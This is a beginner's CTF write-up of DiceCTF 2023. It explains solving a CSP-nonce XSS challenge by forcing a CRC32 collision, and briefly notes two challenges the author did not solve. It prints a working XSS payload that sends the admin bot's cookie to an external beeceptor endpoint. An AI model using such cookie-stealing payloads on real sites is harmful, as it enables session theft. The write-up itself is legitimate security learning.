DiceCTF 2023 Writeup
Table of Contents
DiceGang 🎲 just finished hosting DiceCTF 2023 (https://ctf.dicega.ng). It was first my first ever CTF event. I didn’t really have any expectations going in and signed up on a whim. But guess what? I managed to solve one of the challenges and even gave a couple others a shot. I learned a ton from this event, and I’m definitely going to attend more CTF events in the future.
Here are my write ups.
web/recursive-csp #
- solved
- solves: 178
- description: the nonce isn’t random, so how hard could this be? (the flag is in the admin bot’s cookie)
I was greeted with a simple Hello World and an input for name. The form is simple, it submits a GET
request with name
as query parameter. The new page’s title changed from “Hello world! to “Hello andy!”.

This was screaming XSS to me, so I just randomly inputting possible XSS attacks. But none of the <script>
code was executing. Looking at the console error, it was blocked by the CSP header.
Content Security Policy: The page’s settings blocked the loading of a resource at inline (“script-src”).
The CSP header (content-security-policy: default-src 'none'; script-src 'nonce-fe26ee76' 'unsafe-inline'; base-uri 'none';
) is only allowing script with particular nonce! This matches up with the hint. I started looking at how the nonce is generated by the server. At the first, I thought it was using the whole document or the date time as the input for hashing, and then only to realized that only the name
parameter was used for input. It made so much sense to just use the input, this took way longer than I want to admit.
Now I know what the server was using for the input, I needed to know what kind of algorithm it is using. The nonce was always 8 characters so I started looking at any algorithm that will output 8 characters. I spent a long time on searching this. I didn’t know many hashing or encoding function except the basics: md5, sha256, etc. Until I finally found a site: https://md5calc.com. I used it to test md5 and other algorithms I know. What’s cool about this site is that it outputs string encoded with other popular algorithms. This is how I found “CRC32B” hashing function.
Future self here: it seems like CRC32B is a common hashing function provided by PHP. If only I could google what kind of hashing function php provides.
Now I know how the server generate the nonce, I just need to somehow force it to match with my XSS. I wrote a simple js script to output <script nonce="{input}">alert(1)</script>
where I replaced the “{input}” with a 8 characters random string and hoped the CRC32B hashing will return the same thing. My script didn’t work and I was stuck. It was not able even brute force one match for me. I ran the script for half an hour but no luck.
I began searching online for a way to brute force it, and luckily stumbled upon this blog post by Nayuki https://www.nayuki.io/page/forcing-a-files-crc-to-any-value. The blog explains in details how the math works. To summarize it, the script adds 4 extra bytes to match the provided hash. This was really cool. I experimented with the script and found out some bytes that are injected are not URI friendly so I have to re-hash it again with a different value.
At the end, I wrote a script to generate the hash. The flag was in admin bot’s cookie so I had to update the script to send the cookie to an endpoint I control. Since CSP prevents any network requests for sending the cookie, I used document.location
to change the URL in admin bot and hoped that it would redirect before it close the headless browser. To my surprise it worked.
Here is my final payload. I injected the random 4 bytes at the end (u091
). You can check the hash, it should match to 55ed1ba5
.
<script nonce="55ed1ba5">document.location="https://adice.free.beeceptor.com?c="+document.cookie</script> uO91
Future self here:
https://beeceptor.com
was a site I used to get a temporary endpoint. However, reading everyone else’s write up it seemed likehttps://webhook.site
is what people usually use.
This is the flag I got at the end, dice{h0pe_that_d1dnt_take_too_l0ng}
. Honestly, I faced a lot of difficulties during the whole challenge: figuring out the hash algorithm, troubleshooting why the random bytes weren’t working in the URL, and understanding how the admin bot operates. It took me roughly 15 hours to solve this challenge, but even if I hadn’t solve it, it would still have been worth the effort. The amount of joy when I saw the flag was indescribable.

Here is the author strellic’s write up. He wrote a simple rust program to force the output which is much faster than my javascript version! Additionally, he created three more awesome challenges that are worth checking out!
Unsolved challenge #
I attempted other challenges but couldn’t solve them. Here are notes to myself for studying and documenting what I attempted.
web/scorescope #
- solves: 55
- description: I’m really struggling in this class. Care to give me a hand?
This challenge had a file named template.py
, we needed to implement all the functions and upload to the site for grading. (It felt like university homework.) The test cases included a hidden
case so users couldn’t guess it. I couldn’t solve this. I don’t use python
regularly. But here is a good write up by r3kapig.
I learned a lot about exposing what the main module has and how to manipulate it.
web/codebox #
- solves: 30
- description: strellic makes csp challs, maybe i should try one sometime
This is another really cool challenge with CSP. It uses report-uri
to leak information to an external server. It also uses a cool trick with how URL().searchParams.get()
and express
’s req.query
parse multiple parameters with the same key. URL
uses the first and express
uses the last. This blew my mind 🤯. I didn’t know even think this was possible, I assume everything follow a standard.
r3kapig’s write up has a detail explanation on how the challenge worked and how they solved it.
Conclusion #
This was my first ever CTF event, I am really proud that I even solved 1 challenge. I learned a lot by participating the event. Also, thank you to the DiceGang staff in teh discord chat. I didn’t really know how to use the admin bot so I was asking weird questions about it.
Here are things that I learned:
- Amazing people/groups to follow: strellic, ankursundara, r3kapig, Nayuki, and dicegang
- Content Security Policy header and how to use it.
- CRC32 hashing algorithm.
- pwntool to interact with server. Useful for scripting and parsing the output.
There are plenty more things that I won’t list here. That’s about it, thank you for reading.